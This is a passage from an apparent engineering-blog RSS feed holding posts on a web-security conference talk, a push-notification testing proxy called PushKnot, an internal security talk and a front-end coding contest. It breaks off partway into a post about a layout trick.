&lt;p&gt;Security is like the elephant in the room where everyone agrees that it&apos;s very important but only a few take it very seriously.&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;I touched upon the recent Github reused password attack and why we should follow a good password hygiene and move towards multi-factor authentication (MFA).&lt;/p&gt; &lt;h4 id=&quot;xss&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#xss&quot; aria-label=&quot;xss permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;XSS&lt;/h4&gt; &lt;img src=&quot;/images/2016/08/jschannel_xss.jpeg&quot;&gt; &lt;p&gt;&lt;strong&gt;Rule of thumb&lt;/strong&gt;: Validate input and escape output&lt;/p&gt; &lt;h4 id=&quot;csrf&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#csrf&quot; aria-label=&quot;csrf permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;CSRF&lt;/h4&gt; &lt;p&gt;XSS + CSRF = Game Over!&lt;/p&gt; &lt;p&gt;I&apos;ve developed a sample web application using Node.js, Express and Angular that is vulnerable to common security vulnerabilities were demonstrated. &lt;a href=&apos;https://github.com/djadmin/vulnerable-app&apos; target=&apos;_blank&apos;&gt;Click here to see the code.&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;what-could-possibly-go-wrong&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-could-possibly-go-wrong&quot; aria-label=&quot;what could possibly go wrong permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What could possibly go wrong?&lt;/h4&gt; &lt;p&gt;The talk ended with a live demonstration of an interesting and serious vulnerability found on a popular hiring platform, RecruiterBox. A JavaScript injection using which an attacker can upload a maliciously crafted resume and can perform Cross-site Scripting attacks. I used Burp Suite, an interceptor proxy to bypass the fix deployed by Recruiterbox, for demonstration purposes.&lt;/p&gt; &lt;p&gt;To know more about the vulnerability, &lt;a href=&quot;https://medium.com/@dheerajhere/hiring-made-so-easy-security-write-up-c717a152c21c&quot;&gt;click here&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;feedback&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#feedback&quot; aria-label=&quot;feedback permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Feedback:&lt;/h3&gt; &lt;p&gt;After the talk, it was rewarding to see a good response and interesting queries from the audience. One comment I received from audience was &quot;We have just realized that our services are vulnerable to one of the attacks you have demonstrated and we never gave a thought to it. Thank you!&quot;.&lt;/p&gt; &lt;div id=&quot;jschannel-gallery&quot;&gt; &lt;img src=&quot;/images/2016/08/jschannel_resp1.png&quot;&gt; &lt;img src=&quot;/images/2016/08/jschannel_resp2.png&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;My 2 cents for attending any tech conference&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;More than the talks themselves, it is the people that you should attend the conference for. You should meet the other attendees! If a particular talk is interesting and useful then you can and should talk to the speaker.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Key takeaways:&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Never blindly trust user input.&lt;/li&gt; &lt;li&gt;Always use proven sanitizers and tools.&lt;/li&gt; &lt;li&gt;Perform security audits.&lt;/li&gt; &lt;li&gt;Keep discussing vulnerabilities because the Internet has a bunch of weird old stuff that, not necessarily, every software developer knows about.&lt;/li&gt; &lt;/ol&gt; &lt;h4 id=&quot;video&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#video&quot; aria-label=&quot;video permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Video.&lt;/h4&gt; &lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; &quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/XaHkHBtth-U&quot; frameborder=&quot;0&quot; allowfullscreen style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;p&gt;As a first-time speaker, I wasn’t sure what to expect. It turned out to be a great experience and received very positive feedback.&lt;/p&gt;</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Automating Web Push Notifications @Selenium Conference 2016]]></title><description><![CDATA[There were just two hours left to catch a flight for an exciting opportunity to present at the biggest Selenium conference, SeleniumConf…]]></description><link>https://engineering.wingify.com//posts/automating-web-push-notifications/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/automating-web-push-notifications/</guid><pubDate>Thu, 04 Aug 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There were just two hours left to catch a flight for an exciting opportunity to present at the biggest Selenium conference, SeleniumConf 2016, and we were still waiting for our cab to the airport. Our driver was lost within 350 meters of our &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt; office, finding his way around the vicinity. Eventually, we boarded the flight at the &lt;em&gt;final call&lt;/em&gt;!&lt;/p&gt; &lt;img src=&quot;/images/2016/08/pushknot_final_call.png&quot;&gt; &lt;p&gt;A cool breeze welcomed us at Bengaluru airport, and the next morning we were at The Chancery Pavillion Hotel with our passes:&lt;/p&gt; &lt;img style=&quot;width:280px !important&quot; src=&quot;/images/2016/08/badges_humans.jpg&quot;&gt; &lt;p&gt;Day 1 was about keynotes, new tools and sponsor stands. HP launches lean UFT, introducing Selenium inbuilt with the tool. There were a lot of talks that explored more areas Selenium could be used in, thereby widening its scope.&lt;/p&gt; &lt;h3 id=&quot;d-day-demo-day&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#d-day-demo-day&quot; aria-label=&quot;d day demo day permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;D day: Demo day&lt;/h3&gt; &lt;p&gt;There was no hurry to reach the venue today as the streets were all mapped a day before, suits and boots were tied up. It was the day to present, world&apos;s first ever open source automation tool for push notifications - &lt;em&gt;PushKnot&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Push notifications let users to opt into timely updates from sites they love and allow you to effectively re-engage them with customized, engaging content. As per recent surveys, push notifications are turning out to be better than email notifications.&lt;/p&gt; &lt;p&gt;Since it&apos;s a relatively new technology which is booming, the SDLC flows goes like this specs written, functionality developed, unit tests written, how about testing it end to end? Do it manually or automate it like a boss!&lt;/p&gt; &lt;p&gt;&lt;strong&gt;PushKnot&lt;/strong&gt; helps you do the latter part well.&lt;/p&gt; &lt;img src=&quot;/images/2016/08/pushknot_logo.png&quot;&gt; &lt;blockquote&gt; &lt;p&gt;&quot;PushKnot is a specialized open-source proxy tool for modifying, parsing and fetching desktop push notifications.”&lt;/p&gt; &lt;/blockquote&gt; &lt;h4 id=&quot;how-pushknot-works&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-pushknot-works&quot; aria-label=&quot;how pushknot works permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How PushKnot works:&lt;/h4&gt; &lt;p&gt;It works as a proxy server which intercepts the service-worker registration request’s response. It adds a specific payload and the new modified service-worker is registered with the browser.&lt;/p&gt; &lt;img src=&quot;/images/2016/08/pushknot_first_diagram.jpg&quot;&gt; &lt;p&gt;This payload has specialized code which intercepts and captures the push notification received. Once it has intercepted the push notifications, it saves the notification data in JSON format in a file, and forwards the notification back to the browser so that it can be seen there.&lt;/p&gt; &lt;img src=&quot;/images/2016/08/pushknot_second_diagram.jpg&quot;&gt; &lt;p&gt;Once the response is stored in a JSON file it can be easily read and verified.&lt;/p&gt; &lt;img src=&quot;/images/2016/08/sample_json.png&quot;&gt; &lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;The service is available at &lt;a href=&quot;https://github.com/Ankitagupta2309/pushKnot&quot;&gt;https://github.com/Ankitagupta2309/pushKnot&lt;/a&gt;&lt;/li&gt; &lt;li&gt; &lt;p&gt;After cloning the repo and running &lt;code class=&quot;language-text&quot;&gt;npm install&lt;/code&gt;, you can start it by running&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;````node start.js —domain=&amp;lt;yourdomain&amp;gt; ````&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/li&gt; &lt;li&gt;By default it will run on port 9002, if you want to change it, you can do so by using the flag —port=9003&lt;/li&gt; &lt;li&gt; &lt;p&gt;Set up &lt;strong&gt;https&lt;/strong&gt; system proxy to point to 127.0.0.1:9002&lt;/p&gt; &lt;p&gt; &lt;img src=&quot;/images/2016/08/setup_proxy_push.png&quot; alt=&quot;setup proxy push&quot;&gt;&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;When you are launching your browser you need to set 2 flags:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Start a chrome browser with &lt;code class=&quot;language-text&quot;&gt;--ignore-certificate-errors&lt;/code&gt; flag&lt;/li&gt; &lt;li&gt;Set browser preference &lt;code class=&quot;language-text&quot;&gt;&amp;#39;profile.default_content_setting_values.notifications&amp;#39;: 1&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;chromeOptions&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;args&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;--ignore-certificate-errors&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; prefs&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;profile.default_content_setting_values.notifications&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;a href=&apos;http:///www.slideshare.net/ankitagupta2309/pushknot&apos; target=&apos;_blank&apos;&gt;Slides deck&lt;/a&gt; from the talk.&lt;/p&gt; &lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 81.5126050420168%; position: relative; height: 0; overflow: hidden; &quot; &gt; &lt;div style=&quot;width: 100%&quot;&gt; &lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/jinpOBbAaNDv54&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; style=&quot;border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot; allowfullscreen&gt; &lt;/iframe&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;&lt;a href=&apos;http://www.slideshare.net/ankitagupta2309/pushknot-demo&apos; target=&apos;_blank&apos;&gt;Demo&lt;/a&gt; from the talk.&lt;/p&gt; &lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.30252100840336%; position: relative; height: 0; overflow: hidden; &quot; &gt; &lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/LsA1VDNjsPPfR0&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; style=&quot;border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot; allowfullscreen&gt; &lt;/iframe&gt; &lt;/div&gt; &lt;p&gt;&lt;a href=&apos;https://www.youtube.com/watch?v=Lj9HD-1Pikc&apos; target=&apos;_blank&apos;&gt;Video&lt;/a&gt; of the talk.&lt;/p&gt; &lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.30252100840336%; position: relative; height: 0; overflow: hidden; &quot; &gt; &lt;iframe src=&quot;//www.youtube.com/embed/Lj9HD-1Pikc&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; style=&quot;border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot; allowfullscreen&gt; &lt;/iframe&gt; &lt;/div&gt; &lt;p&gt;It was a great learning experience. Received good feedback on our tool, some of which have already been implemented. Write back to us if you have any feedback or queries.&lt;/p&gt;</content:encoded><author>Jatin Makhija, Ankita Gupta</author></item><item><title><![CDATA[Let's talk Security - Engineering Talkies]]></title><description><![CDATA[At Wingify, we recently began an initiative by the name Engineering Talkies where our engineering teams share their experiences, repertoire…]]></description><link>https://engineering.wingify.com//posts/lets-talk-security/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/lets-talk-security/</guid><pubDate>Mon, 02 May 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt;, we recently began an initiative by the name &lt;strong&gt;&lt;em&gt;Engineering Talkies&lt;/em&gt;&lt;/strong&gt; where our engineering teams share their experiences, repertoire of best practices, and learnings. Think of it as a knowledge sharing session between people within and across teams.&lt;/p&gt; &lt;p&gt;The last talk was about &lt;strong&gt;Web Application Security&lt;/strong&gt; where I spoke about the best practices to follow for tightening the security of our web applications.&lt;/p&gt; &lt;p&gt;It started with a little introduction to my infosec journey and how companies deal with security researchers. Along the way I also touched upon why startups, specifically, should care about security.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Information Security is not just about following some best practices checklist, it&apos;s all about lateral thinking.&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;We explored &lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&quot;&gt;OWASP&apos;s Top 10 Vulnerabilities&lt;/a&gt; considering possible attacks and techniques to shore up our defense against them. Next we went through some real world examples of common security threats and how the risks can be mitigated and flaws addressed.&lt;/p&gt; &lt;p&gt;In my preparation for the talk, I had conducted an internal security audit of our product application and the security measures we have put in place for &lt;a href=&quot;https://app.vwo.com&quot;&gt;VWO&lt;/a&gt; that should be followed for other products under the &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt; umbrella. Yes, we are coming up with some cool new products other than VWO, the beloved A/B Testing Tool, Stay tuned.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://speakerdeck.com/djadmin/lets-talk-security&quot;&gt;Slides&lt;/a&gt; from the talk on security at Wingify Engineering Talkies:&lt;/p&gt; &lt;div style=&quot;width: 100%&quot;&gt; &lt;script async class=&quot;speakerdeck-embed&quot; data-id=&quot;09d60c94ca6446e68d5b4779ab71359c&quot; data-ratio=&quot;1.77777777777778&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt; &lt;/div&gt; &lt;p&gt;It&apos;s very useful for companies to perform internal security audits and today we understand a little better about why we sometimes need to slow down feature development and clean up a bit.&lt;/p&gt; &lt;p&gt;We take security very seriously at &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt;. If you find any security vulnerability, please report it to &lt;a href=&quot;mailto:security@wingify.com?Subject=Found%20a%20vulnerability&quot;&gt;security@wingify.com&lt;/a&gt;. We will respond as quickly as we can to any security issues identified.&lt;/p&gt;</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Code In the Dark at Wingify]]></title><description><![CDATA[Coding is always fun at Wingify, be it a Wingify Camp or a Fun Friday. And to add to the fun, in a Fun Friday Code In the Dark was organized…]]></description><link>https://engineering.wingify.com//posts/code-in-the-dark/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/code-in-the-dark/</guid><pubDate>Thu, 28 Apr 2016 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2016/04/CITD_1.JPG&quot;&gt; &lt;/div&gt; &lt;p&gt;Coding is always fun at &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt;, be it a Wingify Camp or a Fun Friday. And to add to the fun, in a Fun Friday &lt;a href=&quot;http://codeinthedark.com/&quot;&gt;Code In the Dark&lt;/a&gt; was organized by Wingify on 15th April 2016 in both Wingify&apos;s Delhi and Pune office. The event is a front-end (HTML, CSS) competition created by the folks at &lt;a href=&quot;https://tictail.com/&quot;&gt;Tictail&lt;/a&gt;, where each contestant compete to implement a website design given only a screenshot. The catch is, no previews of the results are allowed during the implementation, and no measuring tools can be used. There are some simple rules of the event:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Duration: 15 min&lt;/li&gt; &lt;li&gt;Technology: HTML/CSS&lt;/li&gt; &lt;li&gt;No previews&lt;/li&gt; &lt;li&gt;One champion&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;The event started at 5 o&apos;clock in the evening and was divided into two slots, each slot having 9 participants. The rule was to choose two from each slot so that final four compete in the final round. Along with that, to add to the fun and frolic, a loud music was played to motivate the contestants to write the code as fast as they can. The lights were turned off to create an awesome atmosphere to complement the theme of the event. The only light flashing was that of TV and Laptop screens which added a magical appearance to the room.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2016/04/CITD_2.JPG&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;Ankit Jain and Kushagra Gour starting the event &lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2016/04/CITD_6.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;Contestants coding in the dark &lt;/div&gt; &lt;/div&gt; &lt;p&gt;After the completion of the allotted time, two participants from each team were selected based on the audience voting.&lt;/p&gt; &lt;p&gt;A final round was organized between selected &quot;Fantastic Four&quot; participants from the 2 slots which were &lt;a href=&quot;https://www.linkedin.com/in/sparshgupta&quot;&gt;Sparsh Gupta&lt;/a&gt;, &lt;a href=&quot;http://hemkaranraghav.in/&quot;&gt;Hemkaran Raghav&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/in/ashish-bardhan-07654a26&quot;&gt;Ashish Bardhan&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/dheerajhere&quot;&gt;Dheeraj Joshi&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Meanwhile, some people were busy in eating delicious sandwiches and having some beer to quench their thirst.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2016/04/CITD_4.JPG&quot;&gt; &lt;/div&gt; &lt;p&gt;Meanwhile in Wingify&apos;s Pune office... /&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot; class=&quot;galleria&quot;&gt; &lt;img src=&quot;/images/2016/04/CITD_pune3.jpg&quot;&gt; &lt;img width=&quot;49%&quot; src=&quot;/images/2016/04/CITD_pune2.jpg&quot;&gt; &lt;img width=&quot;49%&quot; src=&quot;/images/2016/04/CITD_pune1.jpg&quot;&gt; &lt;/div&gt; &lt;p&gt;Next was to decide the winner, and after voting by everyone finally we had the winners.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/in/sparshgupta&quot;&gt;Sparsh Gupta&lt;/a&gt; (Our CTO) - Winner&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://hemkaranraghav.in&quot;&gt;Hemkaran Raghav&lt;/a&gt; - Runner Up&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Also, The winners from Pune office were:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;a href=&quot;http://paraschopra.com/&quot;&gt;Paras Chopra&lt;/a&gt; (Our CEO) - Winner&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://rachitgulati.com/&quot;&gt;Rachit Gulati&lt;/a&gt; - Runner Up&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Yeah, our CEO &amp;#x26; CTO are code-in-dark experts :) Checkout the awesome prizes that winners got:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2016/04/CITD_5.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;Sparsh Gupta and Hemkaran Raghav getting his prize &lt;/div&gt; &lt;/div&gt; &lt;p&gt;It was a great experience to participate in the event. Thanks to Kushagra Gour for organizing the awesome blossom event. We hope that this type of events will continue to happen in the time to come.&lt;/p&gt; &lt;p&gt;You can watch a glimpse of the event here:&lt;/p&gt; &lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; &quot; &gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;iframe src=&quot;https://www.youtube.com/embed/x3PoYQtsVjE&quot; frameborder=&quot;0&quot; allowfullscreen style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;If you want to know more about the events and happenings at Wingify, follow us on (&lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;Twitter&lt;/a&gt;, or &lt;a href=&quot;https://www.facebook.com/Wingify&quot;&gt;Facebook&lt;/a&gt;). If you have any suggestions for different type of events that we can organize, go ahead and leave comments and we will get back to you. If you like what we do at Wingify and want to join the force, we will be more than happy to work with you. &lt;a href=&quot;https://wingify.com/careers&quot;&gt;As always, we are looking for talented people to work with us&lt;/a&gt;!&lt;/p&gt;</content:encoded><author>Hemkaran Raghav</author></item><item><title><![CDATA[A layout trick]]></title><description><![CDATA[Few weeks ago, we did a redesign of our product - VWO. It wasn't a complete overhaul from scratch, but some major design decisions were…]]></description><link>https://engineering.wingify.com//posts/layout-trick/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/layout-trick/</guid><pubDate>Mon, 04 Apr 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Few weeks ago, we did a redesign of our product - VWO. It wasn&apos;t a complete overhaul from scratch, but some major design decisions were taken in the existing design based on the feedback we have received from users since we launched v3.0. This post is about a cool trick we used to achieve a task in that redesign project.&lt;/p&gt; &lt;h2 id=&quot;the-task-or-issue&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-task-or-issue&quot; aria-label=&quot;the task or issue permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 